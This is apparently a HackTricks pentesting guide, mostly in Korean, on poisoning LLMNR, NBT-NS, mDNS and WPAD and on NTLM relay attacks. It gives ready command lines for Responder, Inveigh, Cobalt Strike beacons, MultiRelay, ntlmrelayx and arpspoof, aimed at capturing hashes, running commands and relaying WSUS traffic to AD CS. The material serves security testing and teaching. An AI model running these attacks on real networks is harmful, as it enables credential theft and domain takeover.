Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๋„คํŠธ์›Œํฌ ํ”„๋กœํ† ์ฝœ

๋กœ์ปฌ ํ˜ธ์ŠคํŠธ ์ด๋ฆ„ ํ•ด์„ ํ”„๋กœํ† ์ฝœ

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft ๋ฐ ๊ธฐํƒ€ ์šด์˜์ฒด์ œ๋Š” DNS๊ฐ€ ์‹คํŒจํ•  ๋•Œ ๋กœ์ปฌ ์ด๋ฆ„ ํ•ด์„์„ ์œ„ํ•ด LLMNR ๋ฐ NBT-NS๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ Apple ๋ฐ Linux ์‹œ์Šคํ…œ์€ mDNS๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • ์ด๋Ÿฌํ•œ ํ”„๋กœํ† ์ฝœ์€ ์ธ์ฆ์ด ์—†๊ณ  UDP๋ฅผ ํ†ตํ•œ ๋ธŒ๋กœ๋“œ์บ์ŠคํŠธ ํŠน์„ฑ ๋•Œ๋ฌธ์— ๊ฐ€๋กœ์ฑ„๊ธฐ์™€ ์Šคํ‘ธํ•‘์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค.
  • Responder์™€ Dementor๋Š” ์ด๋Ÿฌํ•œ ํ”„๋กœํ† ์ฝœ์„ ์ฟผ๋ฆฌํ•˜๋Š” ํ˜ธ์ŠคํŠธ์— ์œ„์กฐ ์‘๋‹ต์„ ๋ณด๋‚ด ์„œ๋น„์Šค๋กœ ๊ฐ€์žฅํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Responder๋ฅผ ์‚ฌ์šฉํ•œ ์„œ๋น„์Šค ๊ฐ€์žฅํ™”์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ์ •๋ณด๋Š” here์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD๋Š” ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ํ”„๋ก์‹œ ์„ค์ •์„ ์ž๋™์œผ๋กœ ๊ฒ€์ƒ‰ํ•˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ฒ€์ƒ‰์€ DHCP, DNS๋ฅผ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง€๋ฉฐ, DNS๊ฐ€ ์‹คํŒจํ•˜๋ฉด LLMNR ๋ฐ NBT-NS๋กœ ํด๋ฐฑํ•ฉ๋‹ˆ๋‹ค.
  • Responder๋Š” WPAD ๊ณต๊ฒฉ์„ ์ž๋™ํ™”ํ•˜์—ฌ ํด๋ผ์ด์–ธํŠธ๋ฅผ ์•…์„ฑ WPAD ์„œ๋ฒ„๋กœ ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Responder/Dementor๋ฅผ ์ด์šฉํ•œ ํ”„๋กœํ† ์ฝœ ์ค‘๋…

  • Responder๋Š” LLMNR, NBT-NS, mDNS ์ฟผ๋ฆฌ๋ฅผ ์ค‘๋…(poisoning)์‹œํ‚ค๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋˜๋Š” ๋„๊ตฌ๋กœ, ์ฟผ๋ฆฌ ์œ ํ˜•์— ๋”ฐ๋ผ ์„ ํƒ์ ์œผ๋กœ ์‘๋‹ตํ•˜๋ฉฐ ์ฃผ๋กœ SMB ์„œ๋น„์Šค๋ฅผ ํƒ€๊นƒ์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค.

  • Kali Linux์— ๊ธฐ๋ณธ์œผ๋กœ ์„ค์น˜๋˜์–ด ์žˆ์œผ๋ฉฐ /etc/responder/Responder.conf์—์„œ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Responder๋Š” ์บก์ฒ˜ํ•œ ํ•ด์‹œ๋ฅผ ํ™”๋ฉด์— ํ‘œ์‹œํ•˜๊ณ  /usr/share/responder/logs ๋””๋ ‰ํ† ๋ฆฌ์— ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.

  • IPv4์™€ IPv6๋ฅผ ๋ชจ๋‘ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.

  • Windows์šฉ Responder ๋ฒ„์ „์€ here์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Dementor๋Š” ๋ฉ€ํ‹ฐ์บ์ŠคํŠธ ์ค‘๋…(multicast poisoning) ์ฃผ์ œ๋ฅผ ํ™•์žฅํ•˜๋ฉฐ ์•…์„ฑ ์„œ๋น„์Šค ์ œ๊ณต์ž(์˜ˆ: CUPS RCE ์ง€์›) ์—ญํ• ๋„ ํ•ฉ๋‹ˆ๋‹ค.

  • ์ „์ฒด ๊ตฌ์กฐ๋Š” Responder์™€ ์œ ์‚ฌํ•˜์ง€๋งŒ ๋” ์„ธ๋ถ„ํ™”๋œ ๊ตฌ์„ฑ ์˜ต์…˜์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. (๊ธฐ๋ณธ์€ ์—ฌ๊ธฐ: Dementor.toml)

  • Dementor์™€ Responder์˜ ํ˜ธํ™˜์„ฑ์€ ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: Compatibility Matrix

  • ์†Œ๊ฐœ ๋ฐ ๋ฌธ์„œ๋Š” ์—ฌ๊ธฐ: Dementor - Docs

  • ํŠน์ • ํ”„๋กœํ† ์ฝœ์—์„œ Responder๊ฐ€ ๋„์ž…ํ•œ ์บก์ฒ˜ ๋ฌธ์ œ๋ฅผ ์ˆ˜์ •ํ•ฉ๋‹ˆ๋‹ค.

Responder ์‹คํ–‰

  • ๊ธฐ๋ณธ ์„ค์ •์œผ๋กœ Responder๋ฅผ ์‹คํ–‰ํ•˜๋ ค๋ฉด: responder -I <Interface>
  • ๋” ์ ๊ทน์ ์ธ ํƒ์นจ(๋ถ€์ž‘์šฉ ๊ฐ€๋Šฅ)์„ ์›ํ•  ๊ฒฝ์šฐ: responder -I <Interface> -P -r -v
  • ๋” ์‰ฌ์šด ํฌ๋ž˜ํ‚น์„ ์œ„ํ•ด NTLMv1 ์ฑŒ๋ฆฐ์ง€/์‘๋‹ต์„ ์บก์ฒ˜ํ•˜๋Š” ๊ธฐ๋ฒ•: responder -I <Interface> --lm --disable-ess
  • WPAD ๊ฐ€์žฅํ™”๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด: responder -I <Interface> --wpad
  • NetBIOS ์š”์ฒญ์„ ๊ณต๊ฒฉ์ž์˜ IP๋กœ ํ•ด๊ฒฐํ•˜๊ณ  ์ธ์ฆ ํ”„๋ก์‹œ๋ฅผ ์„ค์ •ํ•˜๋ ค๋ฉด: responder.py -I <interface> -Pv

Dementor ์‹คํ–‰

  • ๊ธฐ๋ณธ ์„ค์ •์œผ๋กœ ์‹คํ–‰: Dementor -I <interface>
  • ๋ถ„์„ ๋ชจ๋“œ์˜ ๊ธฐ๋ณธ ์„ค์ •์œผ๋กœ ์‹คํ–‰: Dementor -I <interface> -A
  • ์ž๋™ NTLM ์„ธ์…˜ ๋‹ค์šด๊ทธ๋ ˆ์ด๋“œ (ESS): Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off
  • ์‚ฌ์šฉ์ž ์ง€์ • ๊ตฌ์„ฑ์œผ๋กœ ํ˜„์žฌ ์„ธ์…˜ ์‹คํ–‰: Dementor -I <interface> --config <file.toml>

Responder๋ฅผ ์ด์šฉํ•œ DHCP ์ค‘๋…

  • DHCP ์‘๋‹ต์„ ์œ„์กฐํ•˜๋ฉด ํ”ผํ•ด์ž์˜ ๋ผ์šฐํŒ… ์ •๋ณด๋ฅผ ์˜๊ตฌ์ ์œผ๋กœ ์ค‘๋…์‹œ์ผœ ARP ์ค‘๋…๋ณด๋‹ค ๋” ์€๋ฐ€ํ•œ ๋Œ€์•ˆ์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์ด๋ฅผ ์œ„ํ•ด์„œ๋Š” ๋Œ€์ƒ ๋„คํŠธ์›Œํฌ ๊ตฌ์„ฑ์— ๋Œ€ํ•œ ์ •ํ™•ํ•œ ์ง€์‹์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ณต๊ฒฉ ์‹คํ–‰ ์˜ˆ: ./Responder.py -I eth0 -Pdv
  • ์ด ๋ฐฉ๋ฒ•์€ NTLMv1/2 ํ•ด์‹œ๋ฅผ ํšจ๊ณผ์ ์œผ๋กœ ์บก์ฒ˜ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ ๋„คํŠธ์›Œํฌ ์ค‘๋‹จ์„ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ์‹ ์ค‘ํ•œ ์ฒ˜๋ฆฌ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

Responder/Dementor๋กœ ์ž๊ฒฉ์ฆ๋ช… ์บก์ฒ˜

  • Responder/Dementor๋Š” ์œ„์—์„œ ์–ธ๊ธ‰ํ•œ ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋น„์Šค๋ฅผ ๊ฐ€์žฅํ•˜๊ณ , ์‚ฌ์šฉ์ž๊ฐ€ ์Šคํ‘ธํ•‘๋œ ์„œ๋น„์Šค์— ์ธ์ฆ์„ ์‹œ๋„ํ•  ๋•Œ ์ž๊ฒฉ์ฆ๋ช…(๋ณดํ†ต NTLMv2 Challenge/Response)์„ ์บก์ฒ˜ํ•ฉ๋‹ˆ๋‹ค.
  • NetNTLMv1๋กœ ๋‹ค์šด๊ทธ๋ ˆ์ด๋“œํ•˜๊ฑฐ๋‚˜ ESS๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜์—ฌ ํฌ๋ž˜ํ‚น์„ ์‰ฝ๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋„๋ก ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

If you already have a writable SMB share that victims browse, you can coerce outbound SMB without spoofing by planting UNC-based lure files (SCF/LNK/library-ms/desktop.ini/Office) generated with ntlm_theft, then catching the authentication with Responder. See the Explorer-triggered UNC lure workflow.

์ด๋Ÿฌํ•œ ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•  ๋•Œ์—๋Š” ์ ๋ฒ•ํ•˜๊ณ  ์œค๋ฆฌ์ ์ธ ์ ˆ์ฐจ๋ฅผ ์ค€์ˆ˜ํ•˜๋ฉฐ ์ ์ ˆํ•œ ๊ถŒํ•œ์„ ํ™•๋ณดํ•˜๊ณ  ์‹œ์Šคํ…œ ์ค‘๋‹จ์ด๋‚˜ ๋ฌด๋‹จ ์ ‘๊ทผ์„ ํ”ผํ•ด์•ผ ํ•œ๋‹ค๋Š” ์ ์„ ๋ช…์‹ฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Inveigh

Inveigh๋Š” Windows ์‹œ์Šคํ…œ์„ ๋Œ€์ƒ์œผ๋กœ ํ•˜๋Š” penetration testers and red teamers๋ฅผ ์œ„ํ•œ ๋„๊ตฌ๋กœ, Responder์™€ ์œ ์‚ฌํ•œ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•˜๋ฉฐ ์Šคํ‘ธํ•‘ ๋ฐ MITM ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” PowerShell ์Šคํฌ๋ฆฝํŠธ์—์„œ C# ๋ฐ”์ด๋„ˆ๋ฆฌ๋กœ ๋ฐœ์ „ํ–ˆ์œผ๋ฉฐ, ์ฃผ์š” ๋ฒ„์ „์œผ๋กœ๋Š” Inveigh์™€ InveighZero๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋งค๊ฐœ๋ณ€์ˆ˜์™€ ์‚ฌ์šฉ๋ฒ•์€ wiki์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Inveigh๋Š” PowerShell์„ ํ†ตํ•ด ์šด์˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

๋˜๋Š” C# ๋ฐ”์ด๋„ˆ๋ฆฌ๋กœ ์‹คํ–‰:

Inveigh.exe

NTLM Relay Attack

์ด ๊ณต๊ฒฉ์€ SMB ์ธ์ฆ ์„ธ์…˜์„ ํ™œ์šฉํ•˜์—ฌ ๋Œ€์ƒ ๋จธ์‹ ์— ์ ‘๊ทผํ•˜๋ฉฐ, ์„ฑ๊ณต ์‹œ system shell์„ ํš๋“ํ•ฉ๋‹ˆ๋‹ค. ์ฃผ์š” ์ „์ œ ์กฐ๊ฑด์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • ์ธ์ฆํ•˜๋Š” ์‚ฌ์šฉ์ž๋Š” ๋ฆด๋ ˆ์ด๋œ ํ˜ธ์ŠคํŠธ(relayed host)์— ๋Œ€ํ•œ Local Admin ์ ‘๊ทผ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • SMB signing์€ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

445 Port Forwarding and Tunneling

์ง์ ‘์ ์ธ ๋„คํŠธ์›Œํฌ ๋„์ž…์ด ๋ถˆ๊ฐ€๋Šฅํ•œ ์ƒํ™ฉ์—์„œ๋Š” ํฌํŠธ 445์˜ ํŠธ๋ž˜ํ”ฝ์„ ํฌ์›Œ๋”ฉํ•˜๊ณ  ํ„ฐ๋„๋งํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. PortBender์™€ ๊ฐ™์€ ๋„๊ตฌ๋Š” ํฌํŠธ 445 ํŠธ๋ž˜ํ”ฝ์„ ๋‹ค๋ฅธ ํฌํŠธ๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋˜๋ฉฐ, ์ด๋Š” ๋“œ๋ผ์ด๋ฒ„ ๋กœ๋“œ๋ฅผ ์œ„ํ•ด Local Admin ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ์„ ๋•Œ ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค.

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Other Tools for NTLM Relay Attack

  • Metasploit: ํ”„๋ก์‹œ์™€ ๋กœ์ปฌ/์›๊ฒฉ ํ˜ธ์ŠคํŠธ ์ •๋ณด๋ฅผ ์„ค์ •ํ•ด ์‚ฌ์šฉ.
  • smbrelayx: SMB ์„ธ์…˜์„ ์ค‘๊ณ„ํ•˜๊ณ  ๋ช…๋ น ์‹คํ–‰ ๋˜๋Š” ๋ฐฑ๋„์–ด ๋ฐฐํฌ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” Python ์Šคํฌ๋ฆฝํŠธ.
  • MultiRelay: Responder ์Šค์œ„ํŠธ์˜ ๋„๊ตฌ๋กœ, ํŠน์ • ์‚ฌ์šฉ์ž ๋˜๋Š” ๋ชจ๋“  ์‚ฌ์šฉ์ž๋ฅผ ์ค‘๊ณ„ํ•˜๊ณ  ๋ช…๋ น ์‹คํ–‰์ด๋‚˜ ํ•ด์‹œ ๋คํ”„๊ฐ€ ๊ฐ€๋Šฅ.

๊ฐ ๋„๊ตฌ๋Š” ํ•„์š” ์‹œ SOCKS proxy๋ฅผ ํ†ตํ•ด ๋™์ž‘ํ•˜๋„๋ก ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์–ด, ๊ฐ„์ ‘์ ์ธ ๋„คํŠธ์›Œํฌ ์ ‘๊ทผ๋งŒ์œผ๋กœ๋„ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

MultiRelay Operation

MultiRelay๋Š” /usr/share/responder/tools ๋””๋ ‰ํ† ๋ฆฌ์—์„œ ์‹คํ–‰๋˜๋ฉฐ, ํŠน์ • IP๋‚˜ ์‚ฌ์šฉ์ž๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•œ๋‹ค.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

RelayKing โ€“ ๋ฆด๋ ˆ์ด ๊ฐ€๋Šฅํ•œ ํƒ€๊นƒ ํƒ์ง€ ๋ฐ ์„ ๋ณ„๋œ ๋ฆด๋ ˆ์ด ๋ชฉ๋ก

RelayKing์€ NTLM relay ๋…ธ์ถœ ๊ฐ์‚ฌ ๋„๊ตฌ๋กœ, ๋ฆด๋ ˆ์ด๊ฐ€ ๊ฐ€๋Šฅํ•œ ์œ„์น˜๋ฅผ ๋งคํ•‘ํ•˜๊ณ  ntlmrelayx.py -tf์—์„œ ๋ฐ”๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋Œ€์ƒ ๋ชฉ๋ก์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. SMB signing/channel binding; HTTP/HTTPS/MSSQL/LDAP/LDAPS EPA/CBT; RPC auth ๋“ฑ์˜ ํ”„๋กœํ† ์ฝœ ๊ฒฝํ™” ์ƒํƒœ๋ฅผ ๊ฒ€์‚ฌํ•˜๊ณ  PetitPotam/PrinterBug/DFSCoerce, WebClient/WebDAV, NTLMv1, CVE-2025-33073 reflection ๊ฐ™์€ coercion/reflection helpers๋ฅผ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค.

  • ์ธ์ฆ์€ HTTPS/LDAPS CBT ๋ฐ MSSQL EPA ๊ฒ€์‚ฌ์—์„œ ์‹ ๋ขฐ๋„๋ฅผ ๋†’์ž…๋‹ˆ๋‹ค; SMB signing/signature ์ˆ˜์ค€์€ ๋น„์ธ์ฆ ์ƒํƒœ์—์„œ ํƒ์ง€๋ฉ๋‹ˆ๋‹ค.
  • ๊ต์ฐจ ํ”„๋กœํ† ์ฝœ ๋ฆด๋ ˆ์ด ๊ฒฝ๋กœํ™”๋Š” ํ™•์ธ๋œ Net-NTLMv1 (--ntlmv1/--ntlmv1-all) ๊ฒฐ๊ณผ๋ฅผ ํ™œ์šฉํ•˜๋ฉฐ, ๊ฒฝ๋กœ๋ณ„ ์‹ฌ๊ฐ๋„ ์ˆœ์œ„๊ฐ€ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค.
  • --gen-relay-list <file>์€ ntlmrelayx.py -tf <file>์šฉ์œผ๋กœ grep ์นœํ™”์ ์ธ ๋Œ€์ƒ ๋ชฉ๋ก์„ ์ž‘์„ฑํ•˜์—ฌ ์‹œํ–‰์ฐฉ์˜ค๋ฅผ ์ค„์ž…๋‹ˆ๋‹ค.
  • --coerce-all์€ ๋ชจ๋“  ๋Œ€์ƒ์— ๋Œ€ํ•ด PetitPotam/DFSCoerce/PrinterBug๋ฅผ ๋Œ€๋Ÿ‰์œผ๋กœ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค; --ntlmv1-all (RemoteRegistry) ๋ฐ --audit (๋„๋ฉ”์ธ ์ „์ฒด LDAP ํ˜ธ์ŠคํŠธ ์กฐํšŒ)์€ noisyํ•˜๋ฉฐ ๋งŽ์€ ๋กœ๊ทธ์˜จ/์›๊ฒฉ ์ ‘๊ทผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  • --proto-portscan์€ ๋‹ซํžŒ ํฌํŠธ๋ฅผ ๊ฑด๋„ˆ๋›ฐ์–ด ์Šค์บ” ์†๋„๋ฅผ ๋†’์ž…๋‹ˆ๋‹ค; --krb-dc-only๋Š” DC๊ฐ€ NTLM์„ ์ฐจ๋‹จํ•˜์ง€๋งŒ ๋‹ค๋ฅธ ์„œ๋น„์Šค๋Š” ์—ฌ์ „ํžˆ ์ˆ˜๋ฝํ•˜๋Š” ๊ฒฝ์šฐ์— ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

Example sweeps:

# Authenticated audit across multiple protocols + generate relay list for ntlmrelayx
python3 relayking.py -u lowpriv -p 'P@ssw0rd!' -d lab.local --dc-ip 10.0.0.10 \
--audit --protocols smb,ldap,ldaps,mssql,http,https --proto-portscan --ntlmv1 \
--threads 10 -vv -o plaintext,json --output-file relayking-scan --gen-relay-list relaytargets.txt

# Unauthenticated CIDR sweep for SMB/LDAP/HTTP relayability
python3 relayking.py --null-auth --protocols smb,ldap,http --proto-portscan -o plaintext 10.10.0.0/24

์ด ๋„๊ตฌ๋“ค๊ณผ ๊ธฐ๋ฒ•๋“ค์€ ๋‹ค์–‘ํ•œ ๋„คํŠธ์›Œํฌ ํ™˜๊ฒฝ์—์„œ NTLM Relay ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ํฌ๊ด„์ ์ธ ์„ธํŠธ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

WSUS HTTP (8530) ์•…์šฉํ•˜์—ฌ NTLM Relay๋กœ LDAP/SMB/AD CS (ESC8) ๋Œ€์ƒ

WSUS ํด๋ผ์ด์–ธํŠธ๋Š” NTLM์„ ํ†ตํ•ด HTTP(8530) ๋˜๋Š” HTTPS(8531)๋กœ ์—…๋ฐ์ดํŠธ ์„œ๋ฒ„์— ์ธ์ฆํ•ฉ๋‹ˆ๋‹ค. HTTP๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด ๋กœ์ปฌ ์„ธ๊ทธ๋จผํŠธ์—์„œ ์ฃผ๊ธฐ์ ์ธ ํด๋ผ์ด์–ธํŠธ ์ฒดํฌ์ธ์ด ๊ฐ•์ œ๋˜๊ฑฐ๋‚˜ ๊ฐ€๋กœ์ฑ„์ ธ ntlmrelayx๋กœ LDAP/LDAPS/SMB ๋˜๋Š” AD CS HTTP ์—”๋“œํฌ์ธํŠธ(ESC8)๋กœ ๋ฆด๋ ˆ์ด๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ ํ•ด์‹œ๋ฅผ ํฌ๋ž™ํ•  ํ•„์š”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ •์ƒ์ ์ธ ์—…๋ฐ์ดํŠธ ํŠธ๋ž˜ํ”ฝ์— ์„ž์—ฌ ๋“ค์–ด๊ฐ€ ์ข…์ข… ๋จธ์‹  ๊ณ„์ • ์ธ์ฆ(HOST$)์„ ์–ป์Šต๋‹ˆ๋‹ค.

ํ™•์ธํ•  ํ•ญ๋ชฉ

  • HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate ๋ฐ โ€ฆ\WindowsUpdate\AU ์•„๋ž˜์˜ GPO/๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ์„ค์ •:
  • WUServer (์˜ˆ: http://wsus.domain.local:8530)
  • WUStatusServer (๋ณด๊ณ  URL)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled ๋ฐ DetectionFrequency (์‹œ๊ฐ„ ๋‹จ์œ„)
  • ํด๋ผ์ด์–ธํŠธ๊ฐ€ HTTP๋กœ ์‚ฌ์šฉํ•˜๋Š” WSUS SOAP endpoints:
  • /ClientWebService/client.asmx (approvals)
  • /ReportingWebService/reportingwebservice.asmx (status)
  • ๊ธฐ๋ณธ ํฌํŠธ: 8530/tcp HTTP, 8531/tcp HTTPS

์ •์ฐฐ

  • Unauthenticated
  • ๋ฆฌ์Šค๋„ˆ ์Šค์บ”: nmap -sSVC -Pn โ€“open -p 8530,8531 -iL
  • L2 MITM๋ฅผ ํ†ตํ•ด HTTP WSUS ํŠธ๋ž˜ํ”ฝ์„ ์Šค๋‹ˆํ•‘ํ•˜๊ณ  wsusniff.py๋กœ ํ™œ์„ฑ ํด๋ผ์ด์–ธํŠธ/์—”๋“œํฌ์ธํŠธ๋ฅผ ๊ธฐ๋ก(ํด๋ผ์ด์–ธํŠธ๊ฐ€ TLS cert์„ ์‹ ๋ขฐํ•˜๊ฒŒ ํ•  ์ˆ˜ ์—†๋Š” ํ•œ HTTP๋งŒ ํ•ด๋‹น).
  • Authenticated
  • MANSPIDER + regpol๋กœ SYSVOL GPO์—์„œ WSUS ํ‚ค ํŒŒ์‹ฑ (wsuspider.sh ๋ž˜ํผ๊ฐ€ WUServer/WUStatusServer/UseWUServer๋ฅผ ์š”์•ฝ).
  • ํ˜ธ์ŠคํŠธ(๋Œ€๊ทœ๋ชจ) ๋˜๋Š” ๋กœ์ปฌ์—์„œ ์—”๋“œํฌ์ธํŠธ ์งˆ์˜: nxc smb -u -p -M reg-query -o PATH=โ€œHKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdateโ€ KEY=โ€œWUServerโ€ reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay ๋‹จ๊ณ„

  1. ํด๋ผ์ด์–ธํŠธ๊ฐ€ WSUS ์„œ๋ฒ„๋ฅผ ์—ฌ๋Ÿฌ๋ถ„์œผ๋กœ ํ•ด์„ํ•˜๋„๋ก MITM ์œ„์น˜ ํ™•๋ณด(๊ฐ™์€ L2) (ARP/DNS poisoning, Bettercap, mitm6 ๋“ฑ). arpspoof ์˜ˆ: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. ํฌํŠธ 8530์„ ๋ฆด๋ ˆ์ด ๋ฆฌ์Šค๋„ˆ๋กœ ๋ฆฌ๋””๋ ‰์…˜(์„ ํƒ์‚ฌํ•ญ, ํŽธ์˜): iptables -t nat -A PREROUTING -p tcp โ€“dport 8530 -j REDIRECT โ€“to-ports 8530 iptables -t nat -L PREROUTING โ€“line-numbers

  3. HTTP ๋ฆฌ์Šค๋„ˆ๋กœ ntlmrelayx ์‹œ์ž‘(HTTP ๋ฆฌ์Šค๋„ˆ๋ฅผ ์œ„ํ•œ Impacket ์ง€์› ํ•„์š”; ์•„๋ž˜ PR ์ฐธ์กฐ): ntlmrelayx.py -t ldap:// -smb2support -socks โ€“keep-relaying โ€“http-port 8530

๊ธฐํƒ€ ์ผ๋ฐ˜ ๋Œ€์ƒ:

  • exec/dump๋ฅผ ์œ„ํ•ด SMB๋กœ ๋ฆด๋ ˆ์ด(๋งŒ์•ฝ signing์ด ๊บผ์ ธ ์žˆ๋‹ค๋ฉด): -t smb://
  • ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ณ€๊ฒฝ์„ ์œ„ํ•ด LDAPS๋กœ ๋ฆด๋ ˆ์ด(์˜ˆ: RBCD): -t ldaps://
  • AD CS ์›น ๋“ฑ๋ก(ESC8)๋กœ ๋ฆด๋ ˆ์ดํ•˜์—ฌ ์ธ์ฆ์„œ๋ฅผ ๋ฐœ๊ธ‰๋ฐ›๊ณ  ์ดํ›„ Schannel/PKINIT๋กœ ์ธ์ฆ: ntlmrelayx.py โ€“http-port 8530 -t http:///certsrv/certfnsh.asp โ€“adcs โ€“no-http-server AD CS ๋‚จ์šฉ ๊ฒฝ๋กœ์™€ ๋„๊ตฌ์— ๋Œ€ํ•ด์„œ๋Š” AD CS ํŽ˜์ด์ง€ ์ฐธ์กฐ:

AD CS Domain Escalation

  1. ํด๋ผ์ด์–ธํŠธ ์ฒดํฌ์ธ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ฑฐ๋‚˜ ์Šค์ผ€์ค„์„ ๊ธฐ๋‹ค๋ฆฝ๋‹ˆ๋‹ค. ํด๋ผ์ด์–ธํŠธ์—์„œ: wuauclt.exe /detectnow ๋˜๋Š” Windows Update UI์—์„œ (Check for updates) ์‚ฌ์šฉ.

